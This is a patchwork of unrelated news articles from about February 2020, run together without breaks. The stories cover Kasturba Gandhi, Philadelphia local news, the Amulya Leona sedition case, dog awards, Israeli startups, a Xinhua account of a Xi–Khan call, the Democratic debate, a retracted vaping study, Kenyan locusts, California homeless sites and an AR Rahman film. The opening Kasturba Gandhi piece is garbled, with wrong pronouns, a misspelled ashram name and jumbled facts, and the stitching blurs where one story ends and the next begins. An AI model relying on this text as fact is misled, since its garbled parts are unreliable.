identity. She was a social worker. At the age of 13, Kasturba was married to Mahatma Gandhi. People called him 'Ba' due to his serious and stable nature. He died on 22 February 1944. Today, on the day of his death anniversary, she is going to give important information related to his life. For your information, let us tell you that Mahatma Gandhi worked for the poor and backward classes. But do you know that in South Africa, Kasturba was the one to raise voice against working Indians in inhuman conditions. Kasturba was the first to keep this in light and while fighting for him, Kasturba also had to go to jail for three months. If you do not know let us tell you that Mahatma Gandhi never used to talk to Kasturba Gandhi in a loud voice. She was strong-tempered and loved her discipline very much. Let me tell you that when Mahatma Gandhi went to jail in the year 1922 while fighting for freedom, Kasturba started the movement to join women and increase their participation in the freedom struggle and was successful in it. In the year 1915, when Kasturba returned to India with Mahatma Gandhi, she started helping people in the Sabmati Ashram. Everyone started calling him 'Ba' in the ashram. Actually 'Ba' is called mother. When Kasturba first gave birth to a son in the year 1888, Mahatma Gandhi was not in the country. He was studying in England. Kasturba single-handedly raised her son Hiralal. Also Read: FATF severely reprimanded Pakistan, says- "Take action against terror" Scindia supporters targets Kamal Nath government with the poster Patra's big statement on Waris and Amulya, "Constitution in Owaisi's hands and Pathan in heart" Pakistan's postal department in poor condition, lack of employee The Philadelphia Museum of Art as seen by drone, January 9, 2020. Read more The big story today is that another manager at the Philadelphia Art Museum has been accused of misconduct. My colleague Allison Steele talked with people who worked for him. Also, theres an ongoing trend of gun violence in Philly, so city leaders met to discuss next steps. In other news, Philly and Pennsylvania are preparing in case coronavirus hits here, watch out for new parking rules involving street sweeping, and theres a private island for sale off the New Jersey Shore. Lauren Aguirre (@laurencaguirre, morningnewsletter@inquirer.com) The Philadelphia Museum of Art has faced misconduct allegations about a former assistant director, Joshua Helmer. But employees say he wasnt the only one. At an all-staff meeting, some of the 200-plus employees demanded answers about another well-paid manager, James Cincotta. Cincotta was hired as retail director in 2015. According to interviews with current and former employees, he slapped, punched, pinched, shoved, grabbed, and verbally berated workers. They reported the behavior. But he kept his job. Yaniyah Foster was struck in the head by a bullet Wednesday afternoon while sitting on the front step of her own home. Three men were also wounded, and police said more than 20 shots were fired. Its like they stole something from me, her mother said. Fosters death contributes to an ongoing trend of gun violence in Philadelphia. There have been 51 homicides recorded by police so far this year. On Thursday, city officials including new Police Commissioner Danielle Outlaw gathered at City Hall to discuss possible solutions. In coming years, construction will be underway across from the Barnes Foundation and the Rodin Museum. The project will feature works by Alexander Calder, creator of the mobile. This new site underscores three generations of Calder family artwork as a defining factor of Phillys cityscape. Just dont call it a museum. It isnt one, said Alexander S.C. Rower, president of the Calder Foundation and the artists grandson. He said the idea is to create a more intimate experience for viewers and allow them to get closer to the artwork. This will not be a picture on the wall. This will be a place of introspection, he said. What you need to know today Through your eyes | #OurPhilly Some days can be a blur, but we can still appreciate this great motion shot of a SEPTA subway train. Thanks for sharing, @chuckseye! Tag your Instagram posts or tweets with #OurPhilly and well pick our favorite each day to feature in this newsletter and give you a shout out! Thats interesting Opinions History is essentially the citys brand, one that attracts millions to visit. But history is more than a story or guides dressed up in colonial costumes. History lives in the documents, objects, and artifacts collected over the years all of which constitute an inheritance that needs constant care and feeding. And that takes money. writes the Inquirer Editorial Board on the Historical Society of Pennsylvanias selling commemorative medals as it faces financial struggles. As millennials struggle under student loan debt, the affordability crisis could be the secret sauce in the presidential race, writes national opinion columnist Will Bunch. Dont look to Archbishop Nelson Perez for political leadership, writes columnist Christine Flowers. What were reading Not all street lights are created equal. WHYY explores how brighter street lights could make Philly safer. Billy Penn asked SEPTAs board of directors how they commute to work. Out of 15, only one member uses the public transit system to get to work every day. The Leaning Tower of Dallas went viral after a partial demolition in the citys downtown area left part of the building still standing ... or, actually, leaning. The Dallas Morning News has more. Your Daily Dose of | Jazz Christian McBride knew at 9 years old that he wanted to make music for the rest of his life. Now, at 47, hes become one of jazzs most important artists. Hes won six Grammy Awards and worked with various other artists like the Roots, Chaka Khan, and, most memorably: James Brown, the Godfather of Soul. For Black History Month, McBride has released an album that highlights critical speeches from the civil rights era. Andhra Pradesh BJP's General Secretary V Satya Murthy on Friday said that their warning has come true about anti-CAA protests. Murthy's comments came after a woman raised pro-Pakistani slogans at an anti-CAA rally in Bengaluru on Thursday. "We have warned this from day one of the anti-CAA protests. Our warning has come true, now. They need to be clear about which country they belong to. How can they raise 'Pakistan Zindabad' slogans in India? They must be dealt with harsh punishment," Murthy told ANI. The protest was organised by AIMIM chief Asaduddin Owaisi here on Thursday when a girl named Amulya managed to reach the stage and started shouting slogans like 'Pakistan Zindabad' before organisers and cops on duty whisked her away. Owaisi himself rushed to take the mike from her and later said, "I condemn this statement. The woman is not associated with us. Humare Liye Bharat Zindabad Tha, Zindabad Rahega." However, Murthy seemed unconvinced about Owaisi dissing the girl who raised pro-Pakistani slogans. "Owaisi is known for his anti- activities. They are spreading propaganda and their ill intention is exposed now," Murthy added. The Andhra Pradesh BJP's General Secretary also criticised the comments made by AIMIM leader Waris Pathan. "Waris Pathan made a statement that 15 crore Muslims will dominate 100 crore Indians. What is he planning to do? He is behaving like Jinnah and trying to divide the country. I want to appeal to everyone to stay away from the rallies organised by these anti-social elements," Murthy said. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Have or know a furry, four-legged companion worthy of the title hero? It's open nomination time for the annual American Humane Hero Dog Awards. Since 2011, Americans have cast millions of votes for thousands of dogs competing for the award. American Humane, an organization founded in 1877 to promote the welfare and safety of animals, will accept submissions until March 10 at 3 p.m. Eastern time. While there are seven categories, including service and law enforcement dogs, American Humane encourages the submission of military dogs. "We believe it is important to recognize and honor the extraordinary feats and acts of devotion these heroic animals perform every day," Robin Ganzert, the organization's president and CEO, said in a statement. "We encourage those who know how valuable these courageous canines are to nominate a deserving K-9 warrior and help provide them the recognition they so greatly deserve." Related: Shelter Dogs Help Veterans Heal Trauma of War The group has included military dogs in its core categories since the beginning of the competition "because of the lifesaving work these courageous canines do for our country," Mark Stubis from American Humane said in an email. The other categories are law enforcement, guide/hearing, service, therapy, shelter, and search and rescue dogs. Last year's winner was Alice, a service dog helping a 13-year-old boy who is severely disabled after being shot in the head. After the nomination period, the public will vote for the top three dogs in each category from March 26 to May 7. Then, celebrity judges, along with the public, will weigh in on the second round of voting from May 28 to July 16. The public will cast its last votes at the end of July for one of the finalists to become the 2020 American Hero Dog. The winner will be unveiled at the American Humane Hero Dog Awards gala in Los Angeles on Sept. 26, which will be broadcast on the Hallmark Channel. American Humane will provide updates on the contest via its Facebook and Twitter pages. Rules and entry information can be found on the award's website. -- Dorothy Mills-Gregg can be reached at dorothy.mills-gregg@military.com. Follow her on Twitter at @DMillsGregg. Read More: Security Forces Leaders Fired for Fostering Toxic Work Environment The State of Israel is young, celebrating its 72nd year in May, it comes with little surprise that the tech sector, the second-largest tech hub in the world, is young as well. However, in recent years, the Israel start-up scene has risen dramatically because of a considerable increase in academic programs, lectures, competition, meet-ups, events, and investment prospects [such as angels, incubators, and accelerators]. Today, Israel continues to produce an impressive number of highly successful tech companies within various fields such as marketing technologies, cloud encryption, insurance and more. Perhaps more interesting is the slowly yet surely noticeable alteration in the diversity of the entrepreneurs, with more and more women entering the previously male-dominated technology sector. This is seen as a vital shift that should have occurred sooner, but thankfully it is already here, and it is here to stay. Why the Recent Rise? In the 2015 Global Startup Ecosystem Ranking, Tel Aviv ranked as the fifth city with the highest percentage of enterprises founded by women. The percentage stood at 20%, soaring 2% more than the global average. A variety of factors have played a crucial role in this statistic. Firstly, as mentioned previously, diversity appears to be encroaching upon previously held conventions, and there are now several new opportunities making it possible, appealing, and easier for women to join the startup habitat as founders and co-founders. One such opportunity is the establishment of Yazamiyot (Hebrew for "female entrepreneurs"), an initiative launched in 2012 by a business mogul, Hilla Ovil Brenner. The goal was to empower and support women working with biotech, high-tech, and innovation fields. Yazamiyot also works in tandem with Google Tel Aviv on 'Google Campus for Moms,' an initiative meant to empower mothers to hunt for entrepreneurial roles, while working alongside other programs such as WIX, Rise - Barclays innovation program, and Microsoft Accelerator, as a way of presenting accelerated business programs to female entrepreneurs. A similar new opportunity for women is the WMN, a beautifully designed hub that targets women entrepreneurs, strategically located at the port of Tel Aviv complex. This hub has allowed the genesis and rise of a variety of successful women-led startups that are now fully working companies, including Sidekix and TRENCH. With that said, it is correct to say that the efforts created in Israel's startup nation are increasingly creating opportunities for female entrepreneurs, where women are founding startups, leading successful innovative companies, leading ventures, and venture deal-flows, and winning competitions. Secondly, for several years now, it appears that the startup scene in Israel is attempting to break the convention to bring more women into the spotlight. For instance, Eisen-Livner, the CEO and co-founder of Aida, a unique application that captures the space and time between two people, Israel startup habitat continues to create business platforms that many women felt are missing for years and fix many problems men had but could not articulate. The more women enter the tech sector and create startups that break the convections, the more the industry continues to achieve much-needed diversity. In line with breaking convections, there is a group of Israeli women entrepreneurs leading successful companies who have devoted their time and effort to give inspiration to other female entrepreneurs. One such woman is Orit Hashay, the founder of Brayola, a crowd-recommendation site for choosing and buying brassieres. She believes women are less represented in the tech world both locally and internationally because they lack proper inspiration and early education. She believes that women should be encouraged to speak up and be competitive from a young age in a similar way boys are. Lastly, the continued blossoming of female entrepreneurs in the Israel tech sector is encouraged by the rise of the 'mom entrepreneurs.' As suggested prior, there are various programs intended for women entrepreneurs or future entrepreneurs, including moms, being led by entrepreneurs such as Ovil-Brenner. Such programs and initiatives specialize in reaching out to female entrepreneurs in tech and helping them fulfill their passion. Some of the most popular establishments include Women in Wireless, Women of Startup Nation (WOSN), WMN, and Let's Get to 51%. At the crux, the discussion regarding the rise of female entrepreneurs in the Israel Startup nation is centered on the support and opportunities for women to secure funds. The demand for women-led startups is increasing, as case studies for such businesses show increased results as well as higher ROI. With the right mentorship and support, women in Israel can participate more successfully. Some of the success stories are increasing with a number making their presence noticeable globally, including Feetler a plugin for commerce founded by Smadar Landau, Shupperz, a worldwide social network founded by Tal Rubinstein, Sidekix, an urban discovery app co-founded by Jenny Drezin, and Missbeez, a mobile marketplace for beauty products co-founded by Mara Gura. What's next? Despite continued improvement in terms of participation in the tech ecosystem, on average, the actual change remains considerably low. In this respect, the European and American counterparts continue to outpace Israel by far. Such geographies have set up a remarkable collection of tools that can evocatively support effective inclusion efforts, encourage uncomfortable discussions, and drive transparency on diversity statistics. The Israel tech community needs to keep up to avoid witnessing the massive departure of women talent for more friendly shores in America, Europe, and emerging nations such as India. There is also a need to put in stark comparison on the gap in Israel and other global tech hubs, and enact the change they claim to support. The support can be extended by providing women in tech and with sufficient funds to integrate them into the community, while also offering a single directory of valuable resources to which such entrepreneurs can continually refer. These recommendations are integral even with an overall innovation culture that's commendable at collaboration, connection, and support. It's easily noticeable that everything in Israel's startup nation is moving on an upward trend and the nation's female entrepreneurs are no exception to that. Although they are still a small group, they might really be the first to finally explode! Source: Xinhua| 2020-02-21 09:33:39|Editor: huaxia Video Player Close Chinese President Xi Jinping (R) meets with Pakistani Prime Minister Imran Khan at the Great Hall of the People in Beijing, capital of China, April 28, 2019. (Xinhua/Yao Dawei) Facts have proved once again that China and Pakistan are true friends and good brothers that share weal and woe, Xi said, pledging that China will take good care of its Pakistani brothers and sisters in the country like its own citizens. BEIJING, Feb. 21 (Xinhua) -- Facts have proved once again that China and Pakistan are true friends and good brothers that share weal and woe, Chinese President Xi Jinping said in a phone conversation with Pakistani Prime Minister Imran Khan on Thursday. Xi said that combating the COVID-19 epidemic is the Chinese government's top priority now, and that positive changes are taking place thanks to the arduous efforts made by medical workers and people of all ethnic groups in China. China not only has confidence, capacity and certainty to win the battle against the novel coronavirus disease, but also can minimize the impact of the epidemic and strive to achieve the social and economic development goals for this year, said Xi. For now China needs to act resolutely to win the battle against the epidemic, he said, adding that China meanwhile needs to take a long-term perspective and draw on the experiences to improve the prevention and control mechanism against major epidemics as well as the national management system for public health emergencies. China and Pakistan are all-weather strategic cooperation partners with a tradition of mutual assistance, the Chinese president noted. Jimmy from Pakistan gives masks to Kristina from Russia at Chongqing University in Chongqing, southwest China, Feb. 18, 2020. (Xinhua/Wang Quanchao) After the epidemic broke out, Pakistan immediately expressed its solidarity with China, offered donations and assistance despite its own difficulties, and has maintained all bilateral regular exchanges, Xi said. He noted that Pakistan's National Assembly and Senate have both passed a resolution on offering full support for China's COVID-19 battle, and now the prime minister made the phone call specifically to express sympathies and support. Those facts have proved once again that China and Pakistan are true friends and good brothers that share weal and woe, Xi said, pledging that China will take good care of its Pakistani brothers and sisters in the country like its own citizens. Noting that China-Pakistan relations have maintained high-level development, Xi said China will always give priority to Pakistan in its neighborhood diplomacy, continue to work with Pakistan on the high-quality construction of the China-Pakistan Economic Corridor, support and cooperate with each other on major international and regional issues, and build the bilateral relationship into a model for promoting the building of a community with a shared future for mankind. Khan, on behalf of the Pakistani government and people, expressed sincere sympathies to the Chinese people over the epidemic, and highly appreciated China's rigorous response measures. Pakistani Abdul Zahir Hamad (R) and his wife Mauritian Hosany Sumayyah, both working as doctors at Panhealth Medical Center in Wenzhou, prepare before getting into work at a novel coronavirus prevention-and-control checkpoint of an expressway exit in Wenzhou, east China's Zhejiang Province, Feb. 8, 2020. (Xinhua/Weng Xinyang) Due to China's effective prevention and control efforts, the COVID-19 has not spread across the world, he said, adding that the whole world thanks China for and appreciates its efforts and achievements in dealing with the disease and that no other country could do better than China. The prime minister expressed gratitude for the thoughtful care and assistance China has offered to Pakistani citizens in China, saying his country is willing to continue to provide help for China in fighting the epidemic. Pakistan is fully confident that China will overcome the epidemic, and all Pakistani people will stand firmly with their Chinese brothers and sisters in all circumstances, he said. Did you watch the ninth Democratic presidential primary debate on Wednesday? You werent the only one. Nearly 20 million viewers tuned in, making it the most-watched Democratic debate ever, NBC News said. The debate aired on NBC and MSNBC. It drew an additional 13.5 million live-stream viewers. The night served as the debut debate appearance of former New York Mayor Michael Bloomberg. Bloomberg has risen in several national polls that put him in the top tier of candidates including Sen. Bernie Sanders, who is coming off a primary win in New Hampshire. Elizabeth Warren sparred with several of her opponents on stage, including Bloomberg, whom she called on to release women from non-disclosure agreements so they can publicly share their accusations of sexual harassment and discrimination against his company. Her performance led to a surge in fundraising, with the Warren campaign reporting Thursday night that they received $5 million in donations since the debate. She wasnt the only one to play offense on the debate stage. Former South Bend Mayor Pete Buttigieg had a heated exchange with Sen. Amy Klobuchar of Minnesota. At one point, Klobuchar asked if Buttigieg had called her dumb" after she was pilloried for failing to name the Mexican president in a recent interview. Klobuchar, Buttigieg said, was not "able to speak to literally the first thing, the politics, of Mexico. Sanders used the debate to highlight how his healthcare plan differed from other Democratic hopefuls, among other points. Joe Biden continued to push that his electability, though his frontrunner status has been called into question following Iowa and New Hampshire. One of the country's best-known tobacco researchers is under fire this week after one of his federally funded vaping studies was retracted and other academics are calling for federal review of some of his other influential anti-vaping research. The retracted study, by University of California, San Francisco medical school professor Stanton Glantz and published in Journal of the American Heart Association, said vaping doubled the risk of heart attacks. It was paid for primarily by the second of two $20 million grants awarded to Glantz and UCSF in 2018 from the National Institutes of Health and the Food and Drug Administration to research tobacco and e-cigarettes. In July, USA TODAY reported on questions about the study and another researcher's conclusion that the majority of the heart attacks happened before people vaped. The timing of Glantz's recent work is of particular importance as it came as the Trump administration considered restricting the sale of flavored electronic cigarettes. Glantz's work is often used by anti-vaping advocates in and outside of government to argue for stricter regulations. In January, the Food and Drug Administration banned flavors other than menthol and tobacco in the smaller vape pens popular with teens and restricted the sale of other youth-friendly flavors to vape shops and smoking bars restricted to adults. Is vaping safer than smoking? Depends who you ask, and what scientific study they point to New York University professor David Abrams, who called for the retraction with a group of 16 academics, scientists and other public health experts, is now drafting letters to NIH's Office of Research Integrity and UCSF's president to request investigations of other Glantz research. Abrams said he hopes others who signed the letter, including fellow NYU professor and tobacco researcher Ray Niaura, University of Michigan economics professor Ken Warner and Marcus Munafo, editor in chief of the journal Nicotine and Tobacco Research, will support the inquiry. Story continues In a statement, NIH's Office of Extramural Research said it "does not confirm or discuss any reviews, whether they are being considered, planned, on-going, or completed, regarding specific individual investigators supported by NIH." Glantz and his co-author, Dharma Bhatta, told JAHA during the review process that they addressed the discrepancy by only including heart attacks that occurred after 2007, when vaping started in the U.S. The journal asked them to prove their finding again but the researchers said they could no longer access the data. "Given these issues, the editors are concerned that the study conclusion is unreliable," JAHA said Tuesday when it retracted the study. Glantz defended himself in a lengthy blog post Tuesday, accusing JAHA of caving "to pressure from e-cig interests" and not following the usual protocol when journal articles are questioned. He also stood by the study and threatened to sue the journal. When contacted by USA TODAY for comment, Glantz referenced his blog post and pointed to Abrams' connection to the Phillip Morris Foundation for a Smokefree America and what he said were industry connections of the other academics. Abrams said he offered the nonprofit free advice on reviewing grants on how to get people to quit smoking and that he and the other 15 signatories are senior scientists not funded in any way by industry. "This is his typical modus operandi, blaming everyone but himself, doubling down on supporting the paper, and smearing his critics as e-cig interests,'" Abrams said. "I would say professor Glantz has not taken the retraction with good grace." University of Louisville professor Brad Rodu brought the Glantz study to USA TODAY's attention and sent a letter urging retraction to JAHA last summer. Glantz, who learned of the criticism when contacted by the newspaper, criticized the journal in his blog post for failing to publish Rodu's letter and allowing him to respond. Rodu is not among those who signed the letter seeking the study be recalled. While he supports the move, the University of Louisville receives unrestricted funding from tobacco and vaping companies, so was not included. Brad Rodu is a professor of medicine at University of Louisville and holds an endowed chair in Tobacco Harm Reduction Research. Ivan Oransky, a physician and medical journalist who runs the website Retraction Watch, said Glantz's study shows the positions and funding sources of authors don't assure accuracy. There are far more retractions from academic laboratories without pharmaceutical industry funding than from the industry-backed ones. Oransky said industry researchers know they are under scrutiny, while advocates seldom evoke the same skepticism. "No matter how you feel about vaping, correcting the scientific record is critical (or) you cant trust anything you read," Oransky said. "There is this presumption if it isnt industry funded, it's somehow more legitimate." The dataset Glantz and Rodu used is often utilized by researchers to replicate others' findings, which is encouraged in science. In its statement, NIH said it "relies heavily upon rigorous and transparent research." "When journals make the decision to retract one of their published articles, such as what JAHA did in this case when the data were found to be unreliable, it can help avoid potential harm to a scientific field, wasted resources, lost time, and in some cases, harm to patient populations, if done in a timely manner," said NIH, which along with the FDA funded Glantz's research. Stanton Glantz is a professor of medicine and director of the Center for Tobacco Research Control & Education at the University of California, San Francisco. Abrams, a former head of NIH's office of behavioral and social science research, said additional Glantz studies deserving of the most scrutiny include two major publications in 2018: A meta analysis of other vaping studies published in the British journal Lancet Respiratory Medicine and one in the journal Pediatrics about teen vaping and smoking. The Lancet analysis of several studies was based on a "misleading negative correlation between e-cigarettes and smoking cessation" and used studies that had nothing to do with quitting smoking, Abrams said. This violated the basic tenets of medical research review, he added. "It has had a massive misleading influence in the field to this day because it is cited as the main reference" to show vaping makes it harder to quit smoking, Abrams said. The other study concluded the "use of e-cigarettes does not discourage, and may encourage, conventional cigarette use among US adolescents." Rodu, who analyzed the claim, found only 11 of 9,000 teens studied vaped before they started smoking and 80% of the kids who smoked hadn't used tobacco product previously. Using that data, Abrams said the "effect of vaping is not just diminished, it disappears." Abrams said the teens were as likely to drink alcohol or use marijuana as cigarettes because they were risk takers to start. A "massive exaggeration" of Glantz's flawed work, he added, convinced the public the biggest risk of teen vaping is they will turn to cigarettes and reverse decades of progress in lowering the smoking rate. Oransky said the retraction is evidence of a larger problem with medical journal research, which can take years or even decades to disprove. He called the retraction of Glantz's paper eight months after publication "lightning fast," and noted, "It can take heroics to get a paper corrected." "This seems to illustrate how porous the peer review system is," said Oransky. "Journals like us to think it's the Good Housekeeping Seal of approval and it just isnt." 'It's 100% not safe': Vaping increases risk of chronic lung disease by 30%, study says This article originally appeared on USA TODAY: Vaping study retracted: Scientists want probe of UCSF tobacco research WAMBA, KENYAWhen the dense, dark smudge started blocking out the daytime sky, many in a sleepy pastoralist hamlet in northern Kenya imagined it was a cloud ushering in some welcome, cooling rain. But the hope soon turned to terror when the giant blot revealed itself as a swarm of fast-moving desert locusts, which have been cutting a path of devastation through Kenya since late December. The sheer size of the swarm stunned the villagers. It was like an umbrella had covered the sky, said Joseph Katone Leparole, who has lived in the hamlet, Wamba, for most of his 68 years. When the insects descended, the community quickly gathered to try to scare them off, using one arm to beat them with sticks or bang on metal pots, and the other to cover their faces and eyes as the bright, yellow insects teemed around them. The children in the local school were shouting with fear, and the animals that the hamlet depends on for their livelihood also were panicking. The cows and camels couldnt see where they were going, Leparole said. It really disturbed us. Adding to the fear and confusion: There had been no warning the locusts were on their way. As the hamlet struggled to repel the surprise invasion, Leparole was reminded of the stories his parents had told him as a child of the ravenous swarms that once moved through this land. What was once a story has become real, he said on a recent morning, shooing away the locusts that still plagued Wamba, more than a week after they arrived. Kenya is battling its worst desert locust outbreak in 70 years, and the infestation has spread through much of the eastern part of the continent and the Horn of Africa, razing pasture and croplands in Somalia and Ethiopia and sweeping into South Sudan, Djibouti, Uganda and Tanzania. The highly mobile creatures can travel over 80 miles a day. Their swarms, which can contain as many as 80 million locust adults in each square kilometre, eat the same amount of food daily as about 35,000 people. Officials say the infestation poses a risk to food security, undermines economic growth and, if not controlled soon, exacerbate communal conflict over grazing land. In addition to the 12 million people already experiencing acute food shortages in Ethiopia, Kenya and Somalia, the locust crisis now poses a potential threat to the food security of over 20 million others, according to the Food and Agriculture Organization, a U.N. agency. The magnitude of the problem is just so big, said Cyril Ferrand, who leads the organizations resilience team for eastern Africa. The locusts are a moving target, and we are racing against time. The locusts are particularly threatening to pastoral communities like Leparoles, which rely on vegetation to feed their livestock. While the current availability of rangeland is better because of heavy rainfall late last year, Leparole is worried what could happen if the locust infestation persists. After serving 18 years in the military and a decade as a local councillor, Leparole started trading in livestock, selling the milk and meat in nearby markets. With three wives and 17 children, his dozens of cows, goats, sheep and camels constitute the familys wealth and only means of survival. Since the arrival of the locusts, he said, his sons have had to shepherd the animals farther afield every morning so they could graze in peace. They are all over the area, Leparole said. The animals just stop eating when they see them. While Kenya started the aerial spraying of chemicals in January to combat the locust invasion, the vastness and inaccessibility of areas like Wamba mean that many of the eggs laid by locusts could evade eradication, said Celina Lepurcha, a local administrator in Wamba. And despite the multiplying number of locusts around Wamba, the national government has stopped spraying in the area because of a depletion in the pesticide supply. If the chemicals dont come on time, this vicious cycle will keep going, Lepurcha said. Given how quickly locusts can denude an entire landscape, theres also fear they pose a serious threat to large herbivores in Kenya. The national parks and conservancies where these herbivores roam, along with the predators hunting them, play a key role in Kenyas tourism industry, a major part of the countrys economy. If the locusts are to remain for months to come, then their impact on the plant eaters could start to reveal itself, said Kieran Avery, director of natural resource management at the Northern Rangelands Trust, a community conservancy organization in northern Kenya. The U.N. says that if the locust numbers arent suppressed soon, they could grow 500 times by June, which would prove ominous not just for pastoral communities but also farmers. On an 8-acre farm in Maseki, a town in eastern Kenya, Mwikali Nzoka stood helpless while locusts devoured her fields of millet, cowpeas and tomatoes, among other crops. They are up and down; they are everywhere, she said, throwing her arms up in helplessness. It was so green here. It might become a desert soon. Paul Katee, assistant chief in Maseki, said new swarms continued to arrive even after authorities sprayed the insects in early February. The small-scale farmers in the area, he said, usually eat two-thirds of what they grow and sell the rest in the local markets. The locusts, he said, threaten the livelihood of up to 56 local households. We have never seen anything like this before, Katee said, shaking his head. Everyone is worried. While the spraying can be effective in controlling the pests, locals are worried the chemicals will taint the water supply used for both drinking and washing, as well as for watering crops. The current infestation in the Horn of Africa was exacerbated by the heavy rainfalls that pounded the region from October through December 2019 helping create conditions conducive for the breeding and growth of desert locusts, whose bodies undergo dramatic changes in response to the environment. While sometimes solitary creatures, desert locusts can develop the wings they need to swarm across seas and continents with the help of warm temperatures and the right amount of rain to grow the plants they need for food. The abnormally heavy rains were caused by the Indian Ocean dipole, a phenomenon heightened by the continuous warming of the western part of the Indian Ocean due to climate change, says Abubakr Salih Babiker, a climate scientist with the Intergovernmental Authority on Development, an eight-country trade bloc in the Horn of Africa. Rising temperatures also mean locusts can mature more quickly and spread to higher elevation environments. Given that many locusts are adapted to arid regions, if climate change expands the geographic extent of these lands, locusts could expand their range as well. Therefore, in general, locust outbreaks are expected to become more frequent and severe under climate change, said Arianne Cease, director of the Global Locust Initiative at Arizona State University. The World Food Programs executive director, David Beasley, warned last week that the region could face a catastrophe requiring more than $1 billion in assistance. The U.N.s Food and Agriculture Organization made a $76 million appeal to member states for funding to control the locusts spread in the Horn of Africa. So far, the U.N. body said, only around $20 million has been received threatening efforts to curtail a regional plague that could lead to more suffering, displacement and potential conflict. For Leparole, that threat has already arrived. On a recent morning, marching bands of juvenile, flightless black locusts mobbed the entrance of his home. If we dont find a way to get rid of these young ones, he said, we will have so much trouble soon. SACRAMENTO Gov. Gavin Newsoms administration has set aside nearly 300 state-owned properties that may be turned into emergency housing for homeless people, half of which are in the Bay Area. The inventory was completed under an executive order that Newsom signed in January, directing four state agencies to identify excess state land that could be made available for free to local governments for short-term homeless shelters. Newsom said Wednesday during his homelessness-focused State of the State address that his administration had found 286 eligible properties, including vacant lots, fairgrounds and armories. Those are available today, he said. Lease templates are ready to go and were ready for partnerships. Lets move on those. There are 148 potential shelter sites listed in the Bay Area, including 49 in Sonoma County, 36 in Alameda County and 25 in San Mateo County. They are largely empty Caltrans-managed parcels next to state highways, many of which the state has previously identified as potential properties for affordable housing development. One is in San Francisco, next to Interstate 280 near 23rd and Indiana streets. Others include the Redwood City Armory, Napa State Hospital and the Sonoma Developmental Center. Blanchard; John With the homeless population surging to more than 151,000 people in the latest state count, and recent polls showing that homelessness has become the top concern of California voters, Newsom is under increasing pressure to act. Because the state is merely making the vacant land available to local governments, however, there is no guarantee the sites will be used for temporary housing for homeless people. Justin Berton, a spokesman for Oakland Mayor Libby Schaaf, said the city has no immediate plans for 18 Oakland properties in the state inventory. But he said Oakland would probably take advantage of them eventually, to expand its community cabin program, designate additional safe parking sites for people sleeping in vehicles, or set up more trailers provided by the state in the January executive order. He said the offer of excess state land is stripping away all the bureaucracy for cities like Oakland, which has already been leasing properties from Caltrans for minimal amounts to set up housing for homeless people. But Richmond Mayor Tom Butt said land is the least of the problems for communities trying to figure out how to get Californias growing homeless population off the streets. He said neither of the Richmond sites identified by the state seem to meet the citys needs for homeless shelters. One appears to be in the middle of a cloverleaf interchange connecting to Interstate 80, which would require that people cross an on-ramp to reach. Butt is unsure whether the other, sandwiched between Interstate 580 and the bay, has adequate access to bus lines, grocery stores, health services and other basic amenities. Its just not a safe place. Youve got cars whizzing by there all the time, Butt said. He said operating a managed homeless camp at one of those properties, which he deemed a transitional village, would cost the city at least $1 million a year. But he said that Richmond has yet to receive anything from the $650 million included in last years state budget for cities and counties to combat homelessness. What we really need is money, Butt said. Theres just no money coming down from the state. Alexei Koseff is a San Francisco Chronicle staff writer. Email: alexei.koseff@sfchronicle.com Twitter: @akoseff During the 99 Songs trailer launch, Bollywood music director AR Rahman revealed he did not want any Pakistani actor for his home productions debut. Apparently, the director of AR Rahmans 99 Songs had chosen three actors from across the border but this did not sit well with Rahman. Although he was in need of a fresh face, someone who acts as well as sings well, he was not ready to cast any Pakistani in his debut production. The director of AR Rahmans 99 Songs, Vishwesh Krishnamoorthy finally had to choose Ehan Bhat who hailed from Kashmir. Talking about the issue in the 99 Songs trailer launch, AR Rahman reportedly said that they were looking for a hero who could act, sing, and was charming. But he did not like it when his director chose Pakistani actors. Instead, Rahman reportedly asked him why the latter needed to go all the way to Pakistan and not find an Indian actor. The reason given by Rahman was that he did not want any problem with his first production. Also Read: AR Rahman Breaks Silence On Taslima Nasreen Criticising Khatija's Choice To Wear A Burqa Vishwesh Krishnamoorthy, however, reportedly clarified that they were looking for someone whose Hindi diction was good and the person was also good with musical instruments. Luckily for them, they found all these qualities in the Kashmiri boy, Ehan Bhat. The director also went on to reportedly say that Ehan had worked hard for the job and every musical scene in the movie is real. Also Read: AR Rahman Debuts As Writer-producer With Musical '99 Songs', Shares Official Trailer Also Read: AR Rahman & His Daughter Khatija Rahman's Net Worth Is Music To His Ears, Here's Why In other news, AR Rahman will soon release the debut movie of his home production. The movie is called 99 Songs and tells the story of a young man whose life revolves around music and his girlfriend. Apart from Ehan Bhat, 99 Songs cast also includes Manisha Koirala, Edilsy Vargas, Lisa Ray, Ranjit Barot, and Rahul Ram. Talking about the name of the movie, AR Rahman said that they wanted to build the story around a boy who wrote 100 songs to woo his lover. But they reportedly felt 100 was too much and instead settled for 99. Rahman would also be making his debut as a producer and writer with 99 Songs. Watch AR Rahman's 99 Songs trailer here: Also Read: AR Rahman's '99 Songs' Trailer Receives A Thunderous Response From Fans Get the latest entertainment news from India & around the world. Now follow your favourite television celebs and telly updates. Republic World is your one-stop destination for trending Bollywood news. Tune in today to stay updated with all the latest news and headlines from the world of entertainment. A 19-year-old woman who raised pro-Pakistan slogans at an anti-Citizenship (Amendment) Act, or CAA, rally in Bengaluru has been booked for sedition and remanded to judicial custody, the police said, as a controversy over the incident spiralled on Friday. Karnataka chief minister BS Yediyurappa demanded action against organisers of the event. Amulya Leona was seen raising Pakistan zindabad slogans in the presence of All India Majlis-e-Ittehadul Muslimeen (AIMIM) chief Asaduddin Owaisi at a Save the Constitution rally on Thursday. Shortly after, AIMIM distanced itself from Leona, saying the party had no links with her. After being removed from the stage, she was arrested on charges of sedition and produced before a magistrates court, which remanded her to 14 days in judicial custody. The controversy comes on a day another woman in Bengaluru was detained and booked for holding a Kashmir Mukti (liberation), Dalit Mukti, Muslim Mukti placard at a protest in the city. The woman has been booked for offences under the Indian Penal Code, including creating enmity between different groups. On Friday, the police had to provide security at Leonas residence in Chikkamagaluru district, some 250km from state capital Bengaluru, after some unidentified people allegedly attacked the house on Thursday evening, officials told news agency PTI. Chief minister BS Yediyurappa on Friday alleged that Leona had links with Maoist rebels in the past. Importantly, the organisations that are behind people like Amulya and nurturing them, if we dont take action against such organisations, such things wont end, he told reporters in Mysuru. If organisations that are behind her are inquired into, things will come out. It is clear she had links with Naxals in the past, the CM said, adding: In this backdrop, she should be punished and action taken against organisations that are behind her. Leonas father Wazi said she had made an unforgivable mistake 